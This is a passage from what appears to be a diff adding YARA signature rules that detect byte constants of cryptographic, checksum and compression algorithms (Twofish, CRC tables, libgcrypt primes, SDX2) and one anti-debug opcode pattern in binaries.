fe8de611ffffffc3fe423647ffffffc3fe8553ee00000003fe4c847600000023fe7c7d7a00000043fe56984a00000033fe736445fffffff3fe60700200000023fe6a09e5ffffffc3fe6a09e5ffffffc3fe60700200000023fe736445fffffff3fe56984800000013fe7c7d7bffffffd3fe4c847400000003fe8553ee00000003fe423647ffffffc3fe8de613ffffffe3fe37af91ffffffd3fe96326a00000043fe2cf22ffffffff3fe9e377a00000003fe22000000000003fea5f3de00000023fe16daec00000003fead663c00000023fe0b84ec00000053feb48d4200000013fdfffffe00000073febb67b000000003fde89c4e00000073fec1f45200000023fdd0e2e3ffffff83fec83201ffffffe3fdb8d7e1ffffffd3fece1faa00000033fda07f8fffffffb3fed3bc3bffffffe3fd87de2a00000023fed906bbffffffd3fd6ef7fbffffffc3feddfe41fffffff3fd55d173ffffffe3fee2a1e7ffffffe3fd3c6ef200000063fee6f0e200000033fd22d4ea00000033feeaea6bffffffd3fd0907ddffffff93feee8dd3ffffffc3fcde1892000000d3fef1da7800000003fca9cd95ffffffc3fef4cfc400000023fc7537e600000013fef76d3000000013fc4060a9fffffef3fef9b249ffffffe3fc0b514800000083fefb9ea9ffffffc3fbac25fe000000b3fefd31f9ffffffe3fb415e4fffffffb3fefe6bf200000043faacbc7e00000013feff4c5dffffffc3f9ace1c6000006c3feffd315ffffffdbe6777a5bd6ad3cd3ff0000000000000bf9ace22400000683feffd315ffffffdbfaacbcac00000153feff4c5dffffffcbfb415e67ffffff03fefe6bf20000004bfbac261600000003fefd31f9ffffffebfc0b515400000023fefb9ea9ffffffcbfc4060b3ffffff03fef9b249ffffffebfc7537f000000023fef76d300000001bfca9cda1ffffff63fef4cfc20000000bfcde189e00000073fef1da780000000bfd0907e400000083feee8dd3ffffffcbfd22d4f000000003feeaea6a0000004bfd3c6ef5ffffff83fee6f0e00000001bfd55d17800000023fee2a1e7ffffffebfd6ef801ffffff93feddfe41fffffffbfd87de2ffffffff3fed906bbffffffdbfda07f95ffffff83fed3bc39ffffffcbfdb8d7e7ffffffa3fece1fa80000001bfdd0e2ea00000073fec832000000005bfde89c4bffffffc3fec1f45200000023ff000000000000000000000000000003feff4c5dffffffc3faacbc76000001d3fefd31f9ffffffe3fbac2609fffffe23fef9b249ffffffe3fc4060b800000063fef4cfc400000023fca9cd9c000000b3feee8dd3ffffffc3fd0907dc00000003fee6f0e200000033fd3c6ef3fffffff3feddfe3fffffffd3fd6ef801ffffff93fed3bc39ffffffc3fda07f9200000063fec83201ffffffe3fdd0e2e3ffffff83febb67adffffffe3fe00000000000003fead663a00000003fe16daee00000023fe9e377a00000003fe2cf22ffffffff3fe8de611ffffffc3fe423647ffffffc3fe7c7d7a00000043fe56984a00000033fe6a09e5ffffffc3fe6a09e5ffffffc3fe56984800000013fe7c7d7bffffffd3fe423647ffffffc3fe8de613ffffffe3fe2cf22ffffffff3fe9e377a00000003fe16daec00000003fead663c00000023fdfffffe00000073febb67b000000003fdd0e2e3ffffff83fec83201ffffffe3fda07f8fffffffb3fed3bc3bffffffe3fd6ef7fbffffffc3feddfe41fffffff3fd3c6ef200000063fee6f0e200000033fd0907ddffffff93feee8dd3ffffffc3fca9cd95ffffffc3fef4cfc400000023fc4060a9fffffef3fef9b249ffffffe3fbac25fe000000b3fefd31f9ffffffe3faacbc7e00000013feff4c5dffffffcbe6777a5bd6ad3cd3ff0000000000000bfaacbcac00000153feff4c5dffffffcbfbac261600000003fefd31f9ffffffebfc4060b3ffffff03fef9b249ffffffebfca9cda1ffffff63fef4cfc20000000bfd0907e400000083feee8dd3ffffffcbfd3c6ef5ffffff83fee6f0e00000001bfd6ef801ffffff93feddfe41fffffffbfda07f95ffffff83fed3bc39ffffffcbfdd0e2ea00000073fec832000000005bfe00000200000023febb67adffffffebfe16daee00000023fead663a0000000bfe2cf22dffffffd3fe9e377a0000000bfe42364c00000003fe8de6100000003bfe56984bffffffc3fe7c7d7a0000004bfe6a09e5ffffffc3fe6a09e5ffffffcbfe7c7d7dfffffff3fe569843ffffffdbfe8de61600000003fe4236440000001bfe9e377c00000023fe2cf22dffffffdbfead663a00000003fe16daee0000002bfebb67adffffffe3fe0000020000002bfec8320400000003fdd0e2da0000009bfed3bc3bffffffe3fda07f8e0000002bfeddfe41fffffff3fd6ef8000000000bfee6f0e3ffffffc3fd3c6ee5ffffffabfeee8dd5ffffffe3fd0907d3ffffff8bfef4cfc400000023fca9cd900000011bfef9b249ffffffe3fc4060b3ffffff0bfefd31f9ffffffe3fbac2612000000ebfeff4c5fffffffe3faacbc260000014bff0000000000000be7777a5c1ebbfb5bfeff4c5dffffffcbfaacbc840000010bfefd31f7ffffffcbfbac2641ffffff6bfef9b247ffffffcbfc4060ca000000fbfef4cfc20000000bfca9cda80000006bfeee8dd3ffffffcbfd0907ddffffff9bfee6f0e20000003bfd3c6ef20000006bfeddfe3fffffffdbfd6ef80bffffffabfed3bc39ffffffcbfda07f980000003bfec83201ffffffebfdd0e2e60000003bfebb67aa0000003bfe000005ffffffdbfead6637ffffffebfe16daf1ffffffdbfe9e3777ffffffebfe2cf2340000003bfe8de611ffffffcbfe423649ffffffebfe7c7d7a0000004bfe56984a0000003bfe6a09e20000001bfe6a09ea0000000bfe569845fffffffbfe7c7d7bffffffdbfe4236460000003bfe8de613ffffffebfe2cf22a0000002bfe9e377e0000004bfe16daf00000004bfead663a00000003ff000000000000000000000000000003fefe6bf200000043fb415e53fffffed3fef9b249ffffffe3fc4060b800000063fef1da7800000003fcde189c000000e3fee6f0e200000033fd3c6ef3fffffff3fed906bbffffffd3fd87de2bffffffb3fec83201ffffffe3fdd0e2e3ffffff83feb48d3ffffffff3fe0b84edffffffe3fe9e377a00000003fe2cf22ffffffff3fe8553ee00000003fe4c847600000023fe6a09e5ffffffc3fe6a09e5ffffffc3fe4c847400000003fe8553ee00000003fe2cf22ffffffff3fe9e377a00000003fe0b84ec00000053feb48d4200000013fdd0e2e3ffffff83fec83201ffffffe3fd87de2a00000023fed906bbffffffd3fd3c6ef200000063fee6f0e200000033fcde1892000000d3fef1da7800000003fc4060a9fffffef3fef9b249ffffffe3fb415e4fffffffb3fefe6bf200000043ff000000000000000000000000000003fef9b249ffffffe3fc4060b800000063fee6f0e200000033fd3c6ef3fffffff3fec83201ffffffe3fdd0e2e3ffffff83fe9e377a00000003fe2cf22ffffffff3fe6a09e5ffffffc3fe6a09e5ffffffc3fe2cf22ffffffff3fe9e377a00000003fdd0e2e3ffffff83fec83201ffffffe3fd3c6ef200000063fee6f0e200000033fc4060a9fffffef3fef9b249ffffffebe6777a5bd6ad3cd3ff0000000000000bfc4060b3ffffff03fef9b249ffffffebfd3c6ef5ffffff83fee6f0e00000001bfdd0e2ea00000073fec832000000005bfe2cf22dffffffd3fe9e377a0000000bfe6a09e5ffffffc3fe6a09e5ffffffcbfe9e377c00000023fe2cf22dffffffdbfec8320400000003fdd0e2da0000009bfee6f0e3ffffffc3fd3c6ee5ffffffabfef9b249ffffffe3fc4060b3ffffff03ff000000000000000000000000000003fef1da7800000003fcde189c000000e3fec83201ffffffe3fdd0e2e3ffffff83fe8553ee00000003fe4c847600000023fe2cf22ffffffff3fe9e377a00000003fd87de2a00000023fed906bbffffffd3fc4060a9fffffef3fef9b249ffffffebfb415e67ffffff03fefe6bf20000004bfd3c6ef5ffffff83fee6f0e00000001bfe0b84f200000023feb48d3dffffffdbfe6a09e5ffffffc3fe6a09e5ffffffcbfeb48d4200000013fe0b84ec0000005bfee6f0e3ffffffc3fd3c6ee5ffffffabfefe6bf3ffffffd3fb415e43fffffddbfef9b247ffffffcbfc4060ca000000fbfed906bbffffffdbfd87de2a0000002bfe9e3777ffffffebfe2cf2340000003bfe4c846fffffffcbfe8553f20000004bfdd0e2d00000008bfec832060000002bfcde18a6000000fbfef1da7800000003ff000000000000000000000000000003fee6f0e200000033fd3c6ef3fffffff3fe9e377a00000003fe2cf22ffffffff3fe2cf22ffffffff3fe9e377a00000003fd3c6ef200000063fee6f0e200000033ff000000000000000000000000000003fe9e377a00000003fe2cf22ffffffff3fd3c6ef200000063fee6f0e20000003bfd3c6ef5ffffff83fee6f0e00000001bfe9e377c00000023fe2cf22dffffffd3ff000000000000000000000000000003fe2cf22ffffffff3fe9e377a0000000bfd3c6ef5ffffff83fee6f0e00000001bfee6f0e3ffffffc3fd3c6ee5ffffffabfe9e3777ffffffebfe2cf23400000033ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003ff000000000000000000000000000003fd3c6efc0000007bfee6f0e00000001 }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_hthtab__32_lil_600_
+{
+strings:
+	$a0 = { 3007000030070000c00700000008000020080000400800005008000050080000600800006008000060080000600800006008000070080000700800007008000080080000800800009008000090080000a0080000a0080000b0080000b0080000c0080000c0080000d0080000e0080000f0080000000900001009000010090000100900001009000000090000f0080000c00800007008000020080000e0070000a00700007007000060070000a0070000c0070000c0070000e006000000040000c0030000c00300001007000010070000a0070000f0070000200800003008000040080000500800005008000060080000600800006008000060080000600800007008000070080000700800008008000080080000800800009008000090080000a0080000a0080000b0080000b0080000c0080000c0080000e0080000f0080000000900001009000010090000100900001009000000090000e0080000b00800007008000020080000e0070000b00700006007000070070000a0070000c007000080070000d0050000c0030000c0030000800600008006000050070000b0070000e00700001008000020080000300800004008000050080000500800005008000060080000600800006008000060080000600800006008000060080000600800007008000070080000700800007008000080080000800800008008000090080000a0080000b0080000c0080000d0080000e0080000f00800000009000010090000100900001009000000090000f0080000d0080000b008000040080000f00700009007000060070000a0070000c0070000b007000020070000 }
+
+condition:
+	$a0
+}
+
+	
+rule Twofish_mds__32_big_4096_
+{
+strings:
+	$a0 = { bcbc3275ecec21f3202043c6b3b3c9f4dada03db02028b7be2e22bfb9e9efac8c9c9ec4ad4d409d318186be61e1e9f6b98980e45b2b2387da6a6d2e82626b74b3c3c57d693938a328282eed8525298fd7b7bd437bbbb37715b5b97f1474783e124243c305151e20fbabac6f84a4af31bbfbf48870d0d70fab0b0b3067575de3fd2d2fd5e7d7d20ba666631ae3a3aa35b59591c8a00000000cdcd93bc1a1ae09daeae2c6d7f7fabc12b2bc7b1bebeb90ee0e0a0808a8a105d3b3b52d26464bad5d8d888a0e7e7a5845f5fe8071b1b11142c2cc2b5fcfcb4903131272c808065a373732ab20c0c817379795f4c6b6b41544b4b02925353697494948f3683831f512a2a3638c4c49cb02222c8bdd5d5f85abdbdc3fc48487860ffffce624c4c07964141776cc7c7e642ebeb24f71c1c14105d5d637c363622286767c027e9e9af8c4444f9131414ea95f5f5bb9ccfcf18c73f3f2d24c0c0e3467272db3b54546c7029294ccaf0f035e30808fe85c6c617cbf3f34f118c8ce4d0a4a45993caca96b868683ba6b8b84d8338382820e5e52effadad569f0b0b8477c8c81dc39999ffcc5858ed0319199a6f0e0e0a0895957ebf70705040f7f730e76e6ecf2b1f1f6ee2b5b53d7909090f0c616134aa575716829f9f0b419d9d803a111164ea2525cdb9afafdde44545089adfdf8da4a3a35c97eaead57e353558daededd07a4343fc17f8f8cb66fbfbb1943737d3a1fafa401dc2c2683db4b4ccf032325dde9c9c71b35656e70be3e3da72878760a715151b1cf9f93aef6363bfd13434a9539a9a853eb1b1428f7c7cd13388889b263d3da65fa1a1d7ece4e4df768181942a919101490f0ffb81eeeeaa88161661eed7d773219797f5c4a5a5a81afefe3feb6d6db5d97878aec5c5c56d391d1de5997676a4cd3e3edcadcbcb6731b6b6478befef5b0112121e186060c5236a6ab0dd4d4df61fcecee94edede7c2d55559df97e7e5a482121b24f03037af2a0a026655e5e198e5a5a667865654b5c62624e58fdfd45190606f48d404086e5f2f2be983333ac571717906705058e7fe8e85e054f4f7d6489896aaf1010956374742fb60a0a75fe5c5c92f59b9b74b72d2d333c3030d6a52e2e49ce494989e94646726877775544a8a8d8e09696044d2828bd43a9a92969d9d979298686912ed1d187acf4f44a158d8d1559d6d682a8b9b9bc0a42420d9ef6f6c16e2f2fb847dddd06df23233934cccc6235f1f1c46ac1c112cf8585ebdc8f8f9e227171a1c99090f0c0aaaa539b0101f1898b8be1d44e4e8ced8e8e6fabababa2126f6f3ea2e6e6540ddbdbf25292927bbbb7b7b6026969ca2f3939d9a9d3d30cd7a7a72361a2a2ad1ec3c399b46c6c44500707050404047ff6272746c2acaca716d0d0762550501386dcdcf75684841a55e1e151097a7a25be1313ef91a9d9393967901717b3719c9ce8d2a6a604050707fd985252a365808076dfe4e49a08454592024b4b80a0e0e078665a5ae4ddafafddb06a6ad1bf636338362a2a0d54e6e6c64320203562cccc98bef2f2181e1212f724ebebecd7a1a16c77414143bd28287532bcbc37d47b7b269b8888fa700d0d13f9444494b1fbfb485a7e7ef27a0303d0e48c8c8b47b6b6303c242484a5e7e754416b6bdf06dddd23c560601945fdfd5ba33a3a3d68c2c259158d8df321ececae316666a23e6f6f8216575763951010015befef834db8b82e918686d9b56d6d511f83839b53aaaa7c635d5da63b6868eb3ffefea5d63030be257a7a16a7acac0c0f0909e335f0f06123a7a7c0f090908cafe9e93a809d9df5925c5c73810c0c2c2731312576d0d00be75656bb7b92924ee9cece89f101016b9f1e1e53a934346ac4f1f1b499c3c3f1975b5be1834747e66b1818bdc82222450e9898e26e1f1ff4c9b3b3b62f747466cbf8f8ccff999995ea141403ed585856f7dcdcd4e18b8b1c1b15151eada2a2d70cd3d3fb2be2e2c31dc8c88e195e5eb5c22c2ce9894949cf12c1c1bf7e9595ba207d7dea64111177840b0b396dc5c5af6a898933d17c7cc9a1717162ceffff7137bbbb81fb0f0f793db5b50951e1e1addc3e3e242d3f3fcda47676f99d5555d8ee8282e5864040c5ae7878b9cd25254d04969644557777080a0e0e86135050e730f7f7a1d337371d40fafaaa346161ed8c4e4e06b3b0b0706c5454b22a7373d2523b3b410b9f9f7b8b0202a088d8d8114ff3f33167cbcbc246272727c0676790b4fcfc20283838f67f040460784848ff2ee5e596074c4c5c4b6565b1c72b2bab6f8e8e9e0d42429cbbf5f552f2dbdb1bf34a4a5fa63d3d9359a4a40abcb9b9ef3af9f991ef131385fe080849019191ee6116162d7cdede4fb221218f42b1b13bdb727247b82f2f8748bfbf6d2caeae46e3c0c0d6573c3c3e859a9a6929a9a9647d4f4f2a948181ce492e2ecb17c6c62fca6969fcc3bdbd975ca3a3055ee8e87ad0ededac87d1d17f8e0505d5ba64641aa8a5a54bb726260eb9bebea76087875af8d5d52822363614111b1b3fde75752979d9d988aaeeee3c332d2d4c5f797902b6b7b7b896cacada583535b09cc4c417fc4343551a84841ff64d4d8a1c59597d38b2b257ac3333c718cfcf8df4060674695353b7749b9bc4f597979f56adad72dae3e37ed5eaea154af4f4229e8f8f12a2abab584e626207e85f5f99e51d1d343923236ec1f6f650446c6cde5d3232687246466526a0a0bc93cdcddb03dadaf8c6babac8fa9e9ea882d6d62bcf6e6e40507070dceb8585fe750a0a328a9393a48ddfdfca4c292910141c1c2173d7d7f0ccb4b4d309d4d45d108a8a0fe25151000000006f9a19199de01a1a368f949442e6c7c74aecc9c95efdd2d2c1ab7f7fe0d8a8a8bc75bc32ecf3ec2120c62043b3f4b3c9dadbda03027b028be2fbe22b9ec89efac94ac9ecd4d3d40918e6186b1e6b1e9f9845980eb27db238a6e8a6d2264b26b73cd63c579332938a82d882ee52fd52987b377bd4bb71bb375bf15b9747e147832430243c510f51e2baf8bac64a1b4af3bf87bf480dfa0d70b006b0b3753f75ded25ed2fd7dba7d2066ae66313a5b3aa3598a591c00000000cdbccd931a9d1ae0ae6dae2c7fc17fab2bb12bc7be0ebeb9e080e0a08a5d8a103bd23b5264d564bad8a0d888e784e7a55f075fe81b141b112cb52cc2fc90fcb4312c312780a3806573b2732a0c730c81794c795f6b546b414b924b02537453699436948f8351831f2a382a36c4b0c49c22bd22c8d55ad5f8bdfcbdc348604878ff62ffce4c964c07416c4177c742c7e6ebf7eb241c101c145d7c5d6336283622672767c0e98ce9af441344f9149514eaf59cf5bbcfc7cf183f243f2dc046c0e3723b72db5470546c29ca294cf0e3f035088508fec6cbc617f311f34f8cd08ce4a493a459cab8ca9668a6683bb883b84d38203828e5ffe52ead9fad560b770b84c8c3c81d99cc99ff580358ed196f199a0e080e0a95bf957e70407050f7e7f7306e2b6ecf1fe21f6eb579b53d090c090f61aa6134578257169f419f0b9d3a9d8011ea116425b925cdafe4afdd459a4508dfa4df8da397a35cea7eead535da3558ed7aedd0431743fcf866f8cbfb94fbb137a137d3fa1dfa40c23dc268b4f0b4cc32de325d9cb39c71560b56e7e372e3da87a78760151c151bf9eff93a63d163bf345334a99a3e9a85b18fb1427c337cd18826889b3d5f3da6a1eca1d7e476e4df812a8194914991010f810ffbee88eeaa16ee1661d721d77397c497f5a51aa5a8feebfe3f6dd96db578c578aec539c56d1d991de576cd76a43ead3edccb31cb67b68bb647ef01ef5b1218121e602360c56add6ab04d1f4df6ce4ecee9de2dde7c55f9559d7e487e5a214f21b203f2037aa065a0265e8e5e195a785a66655c654b6258624efd19fd45068d06f440e54086f298f2be335733ac17671790057f058ee805e85e4f644f7d89af896a1063109574b6742f0afe0a755cf55c929bb79b742d3c2d3330a530d62ece2e4949e949894668467277447755a8e0a8d8964d9604284328bda969a929d929d979862e8691d1acd187f415f44a8d598d15d6a8d682b90ab9bc429e420df66ef6c12f472fb8dddfdd0623342339cc35cc62f16af1c4c1cfc11285dc85eb8f228f9e71c971a190c090f0aa9baa53018901f18bd48be14eed4e8c8eab8e6fab12aba26fa26f3ee60de654db52dbf292bb927bb702b7b6692f69ca39a939d9d3d7d30ca761a723a21ea2adc3b4c3996c506c440704070504f6047f27c22746ac16aca7d025d07650865013dc56dcf78455841ae109e1517abe7a25139113efd939a9d990176790719cb371d2a6e8d2050704059852fd986580a365dfe476df08459a08024b9202a0e080a0665a7866ddafe4ddb06addb0bf63d1bf362a383654e60d544320c64362cc3562bef298be1e12181e24ebf724d7a1ecd777416c77bd2843bd32bc7532d47b37d49b88269b700dfa70f94413f9b1fb94b15a7e485a7a03f27ae48cd0e447b68b473c24303ca5e784a5416b544106dddf06c56023c545fd1945a33a5ba368c23d68158d591521ecf3213166ae313e6fa23e16578216951063955bef015b4db8834d91862e91b56dd9b51f83511f53aa9b53635d7c633b68a63b3ffeeb3fd630a5d6257abe25a7ac16a70f090c0f35f0e33523a76123f090c0f0afe98caf809d3a80925cf592810c738127312c2776d02576e7560be77b92bb7be9ce4ee9f10189f19f1e6b9fa93453a9c4f16ac499c3b499975bf1978347e1836b18e66bc822bdc80e98450e6e1fe26ec9b3f4c92f74b62fcbf866cbff99ccffea1495eaed5803edf7dc56f7e18bd4e11b151c1bada21ead0cd3d70c2be2fb2b1dc8c31d195e8e19c22cb5c28949e98912c1cf127e95bf7e207dba206411ea64840b77846dc5396d6a89af6ad17c33d1a171c9a1ceff62ce37bb7137fb0f81fb3db5793d51e10951dc3eaddc2d3f242da476cda49d55f99dee82d8ee8640e586ae78c5aecd25b9cd04964d04557744550a0e080a1350861330f7e730d337a1d340fa1d403461aa348c4eed8cb3b006b36c54706c2a73b22a523bd2520b9f410b8b027b8b88d8a0884ff3114f67cb31674627c246c06727c0b4fc90b4283820287f04f67f784860782ee5ff2e074c96074b655c4bc72bb1c76f8eab6f0d429e0dbbf59cbbf2db52f2f34a1bf3a63d5fa659a49359bcb90abc3af9ef3aef1391effe0885fe019149016116ee617cde2d7cb2214fb242b18f42db723bdbb82f47b848bf87482cae6d2ce3c046e3573cd657859a3e8529a969297d4f647d94812a94492ece4917c6cb17ca692fcac3bdfcc35ca3975c5ee8055ed0ed7ad087d1ac878e057f8eba64d5baa8a51aa8b7264bb7b9be0eb96087a760f8d55af822362822111b1411de753fde79d92979aaee88aa332d3c335f794c5fb6b702b696cab8965835da589cc4b09cfc4317fc1a84551af64d1ff61c598a1c38b27d38ac3357ac18cfc718f4068df469537469749bb774f597c4f556ad9f56dae372dad5ea7ed54af4154a9e8f229ea2ab12a24e62584ee85f07e8e51d99e539233439c1f66ec1446c50445d32de5d7246687226a0652693cdbc9303dadb03c6baf8c6fa9ec8fa82d6a882cf6e2bcf50704050eb85dceb750afe758a93328a8ddfa48d4c29ca4c141c101473d72173ccb4f0cc09d4d309108a5d10e2510fe2000000009a196f9ae01a9de08f94368fe6c742e6ecc94aecfdd25efdab7fc1abd8a8e0d8 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Stack_Segment_register__8_byt_4_
+{
+strings:
+	$a0 = { 16179c90 }
+
+condition:
+	$a0
+}
+
+	
+rule possible_mask_reset_used_in_arithmetic_compression__8_byt_9_
+{
+strings:
+	$a0 = { 0080c0e0f0f8fcfeff }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_network_encryption_decryption_algorithm_X4d46f4__8_byt_43_
+{
+strings:
+	$a0 = { 74d0d73bc52dfab219fc4a77fbe85320351dab73999f612e5825151c100062729a46ca4564e3c5a059cea4 }
+
+condition:
+	$a0
+}
+
+	
+rule SSH_RSA_id_sha1_OBJ_ID__oiw_14__secsig_3__algorithms_2__26__8_byt_15_
+{
+strings:
+	$a0 = { 3021300906052b0e03021a05000414 }
+
+condition:
+	$a0
+}
+
+	
+rule SDX2___2_1_Squareroot_delta_exact_compression__32_big_1024_
+{
+strings:
+	$a0 = { FFFF8000FFFF81FEFFFF83F8FFFF85EEFFFF87E0FFFF89CEFFFF8BB8FFFF8D9EFFFF8F80FFFF915EFFFF9338FFFF950EFFFF96E0FFFF98AEFFFF9A78FFFF9C3EFFFF9E00FFFF9FBEFFFFA178FFFFA32EFFFFA4E0FFFFA68EFFFFA838FFFFA9DEFFFFAB80FFFFAD1EFFFFAEB8FFFFB04EFFFFB1E0FFFFB36EFFFFB4F8FFFFB67EFFFFB800FFFFB97EFFFFBAF8FFFFBC6EFFFFBDE0FFFFBF4EFFFFC0B8FFFFC21EFFFFC380FFFFC4DEFFFFC638FFFFC78EFFFFC8E0FFFFCA2EFFFFCB78FFFFCCBEFFFFCE00FFFFCF3EFFFFD078FFFFD1AEFFFFD2E0FFFFD40EFFFFD538FFFFD65EFFFFD780FFFFD89EFFFFD9B8FFFFDACEFFFFDBE0FFFFDCEEFFFFDDF8FFFFDEFEFFFFE000FFFFE0FEFFFFE1F8FFFFE2EEFFFFE3E0FFFFE4CEFFFFE5B8FFFFE69EFFFFE780FFFFE85EFFFFE938FFFFEA0EFFFFEAE0FFFFEBAEFFFFEC78FFFFED3EFFFFEE00FFFFEEBEFFFFEF78FFFFF02EFFFFF0E0FFFFF18EFFFFF238FFFFF2DEFFFFF380FFFFF41EFFFFF4B8FFFFF54EFFFFF5E0FFFFF66EFFFFF6F8FFFFF77EFFFFF800FFFFF87EFFFFF8F8FFFFF96EFFFFF9E0FFFFFA4EFFFFFAB8FFFFFB1EFFFFFB80FFFFFBDEFFFFFC38FFFFFC8EFFFFFCE0FFFFFD2EFFFFFD78FFFFFDBEFFFFFE00FFFFFE3EFFFFFE78FFFFFEAEFFFFFEE0FFFFFF0EFFFFFF38FFFFFF5EFFFFFF80FFFFFF9EFFFFFFB8FFFFFFCEFFFFFFE0FFFFFFEEFFFFFFF8FFFFFFFE000000000000000200000008000000120000002000000032000000480000006200000080000000A2000000C8000000F2000001200000015200000188000001C2000002000000024200000288000002D20000032000000372000003C80000042200000480000004E200000548000005B2000006200000069200000708000007820000080000000882000009080000099200000A2000000AB200000B4800000BE200000C8000000D2200000DC800000E7200000F2000000FD2000010880000114200001200000012C2000013880000145200001520000015F2000016C8000017A2000018800000196200001A4800001B3200001C2000001D1200001E0800001F02000020000000210200002208000023120000242000002532000026480000276200002880000029A200002AC800002BF200002D2000002E5200002F88000030C2000032000000334200003488000035D20000372000003872000039C800003B2200003C8000003DE200003F48000040B200004220000043920000450800004682000048000000498200004B0800004C9200004E2000004FB200005148000052E20000548000005622000057C80000597200005B2000005CD200005E880000604200006200000063C200006588000067520000692000006AF200006CC800006EA2000070800000726200007448000076320000782000007A1200007C0800007E02 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x1021__16_lil_refl_False_
+{
+strings:
+	$a0 = { 00002110422063308440a550c660e770088129914aa16bb18cc1add1cee1eff13112100273325222b5529442f772d662399318837bb35aa3bdd39cc3fff3dee36224433420040114e664c774a44485546aa54bb528850995eee5cff5acc58dd55336722611163006d776f6669556b4465bb77aa719973887dff7fee79dd7bcc7c448e5588668a7784008611802282338ccc9edd98ee9aff9488969990aa92bb9f55ad44ab77a966a711a500a333a122afddbdccbbffb9eeb799b588b3bbb1aaba66c877ce44cc55c222c033c600c411caeed8ffdeccdcddd2aad0bbd688d499d977eb66ed55ef44e133e322e511e700e9fffbeefdddffccf1bbf3aaf599f788f8891a981cab1eba10cd12dc14ef16fe18010a100c230e3200450254046706760b9839893fba3dab33dc31cd37fe35ef3b1029012f322d2323542145277625672eab5cba5a89589856ef54fe52cd50dc5e234c324a01481046674476424540544dba7fab79987b8975fe77ef71dc73cd7d326f2369106b01657667676154634564cd96dc90ef92fe9c899e9898ab9aba94458654806782768c018e1088238a3287dcb5cdb3feb1efbf98bd89bbbab9abb754a545a376a167af10ad01ab32a923a2efd0fed6cdd4dcdaabd8bade89dc98d267c076c645c454ca23c832ce01cc10c1fef3eff5dcf7cdf9bafbabfd98ff89f176e367e554e745e932eb23ed10ef01e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x1EDC6F41__32_big_refl_True_
+{
+strings:
+	$a0 = { 00000000f26b8303e13b70f71350f3f4c79a971f35f1141c26a1e7e8d4ca64eb8ad958cf78b2dbcc6be228389989ab3b4d43cfd0bf284cd3ac78bf275e133c24105ec76fe235446cf165b798030e349bd7c4507025afd37336ff2087c494a3849a879fa068ec1ca37bbcef5789d76c545d1d08bfaf768bbcbc2678484e4dfb4b20bd8eded2d60dddc186fe2933ed7d2ae72719c1154c9ac2061c6936f477ea35aa64d611580f55124b5fa6e6b93425e56dfe410e9f95c20d8cc531f97eaeb2fa30e349b1c288cab2d1d8394623b3ba45f779deae05125dad1642ae59e4292d5aba3a117e4851927d5b016189a96ae28a7da086618fcb05629c9bf6966ef07595417b1dbcb3109ebfa0406d4b522bee4886e18aa3748a09a067dafa5495b17957cba2457339c9c6702a993584d8f2b6870c38d26cfe53516fed03a29b1f6821985125dad3a34e59d0b01eaa244275292796bf4dcc64d4cecf77843d3b85efbe38dbfc821c2997011f3ac7f2ebc8ac71e81c661503ee0d9600fd5d65f40f36e6f761c6936293ad106180fde39572966096a65c047d5437877e4767748ab50cf789eb1fcbad197448ae0a24bb5af84f38592c855cb2deeedfb1cdbe2c453fd5af467198540d83f3d70e90a324fa62c8a7f9b602c312446940115739b3e5a55230e6fb410cc2092a8fc11a7a7c35e811ff363cdb9bddceb018dedde0eb2a2f8b682982f63b78709db87b63cd4b8f91a6c88c456cac67b7072f64a457dc90563c5f93082f63b7fa44e0b4e91413401b7f9043cfb5f4a83dde77ab2e8e845fdce5075c92a8fc1760c37f1473938ce081f80fe355326b08a759e80bb4091bff466298fc1871a4d8ea1a27dbf94ad42f0b21572cdfeb33c72d80b0c43ed04330ccbbc033a24bb5a6502036a54370c551b11b465265d122b997baa1ba84ea524e7681d14d2892ed69daf96e6ac9a99d9e3bc21e9def087a761d63f9750e330a81fc588982b21572c9407ef1ca532e023ea145813d758fe5d687e466d594b4952166df162238cc2a06caa7a905d9f75af12b9cd9f2ff56bd190d3d3e1a1e6dcdeeec064eedc38d26c431e6a5c722b65633d0ddd5300417b1dbf67c32d8e52cc12c1747422f49547e0bbb3ffd08a86f0efc5a048dff8ecee9147ca56a176ff599e39d9e1ae0d3d3e1ab21b862a832e8915cc083125f144976b4e622f5b7f572064307198540590ab964ab613a67b831c9934a5a4a909e902e7b6cfbad787fab5e8c8dc0dd8fe330a81a115b2b19020bd8edf0605bee24aa3f05d6c1bc06c5914ff237faccf169e9f0d59b8273d688d280227ab90321ae7367ca5c18e4c94f48173dbd23943ef36e6f750105ec7612551f82e03e9c8134f4f86ac69f7b69d5cf889d27a40b9e79b737ba8bdcb4b9988c474d6ae7c44ebe2da0a54c4623a65f16d052ad7d5351 }
+
+condition:
+	$a0
+}
+
+	
+rule small_prime_numbers_used_in_libgcrypt__16_lil_1336_
+{
+strings:
+	$a0 = { 0300050007000b000d001100130017001d001f00250029002b002f0035003b003d004300470049004f00530059006100650067006b006d0071007f00830089008b00950097009d00a300a700ad00b300b500bf00c100c500c700d300df00e300e500e900ef00f100fb00010107010d010f01150119011b0125013301370139013d014b0151015b015d01610167016f0175017b017f0185018d0191019901a301a501af01b101b701bb01c101c901cd01cf01d301df01e701eb01f301f701fd0109020b021d0223022d02330239023b0241024b025102570259025f02650269026b0277028102830287028d0293029502a102a502ab02b302bd02c502cf02d702dd02e302e702ef02f502f9020103050313031d0329032b03350337033b033d034703550359035b035f036d037103730377038b038f039703a103a903ad03b303b903c703cb03d103d703df03e503f103f503fb03fd03070409040f0419041b04250427042d043f044304450449044f0455045d04630469047f0481048b0493049d04a304a904b104bd04c104c704cd04cf04d504e104eb04fd04ff04030509050b051105150517051b05270529052f05510557055d056505770581058f059305950599059f05a705ab05ad05b305bf05c905cb05cf05d105d505db05e705f305fb0507060d06110617061f0623062b062f063d064106470649064d06530655065b06650679067f06830685069d06a106a306ad06b906bb06c506cd06d306d906df06f106f706fb06fd06090713071f072707370745074b074f0751075507570761076d07730779078b078d079d079f07b507bb07c307c907cd07cf07d307db07e107eb07ed07f70705080f081508210823082708290833083f0841085108530859085d085f086908710883089b089f08a508ad08bd08bf08c308cb08db08dd08e108e908ef08f508f908050907091d09230925092b092f093509430949094d094f09550959095f096b0971097709850989098f099b09a309a909ad09c709d909e309eb09ef09f509f709fd09130a1f0a210a310a390a3d0a490a570a610a630a670a6f0a750a7b0a7f0a810a850a8b0a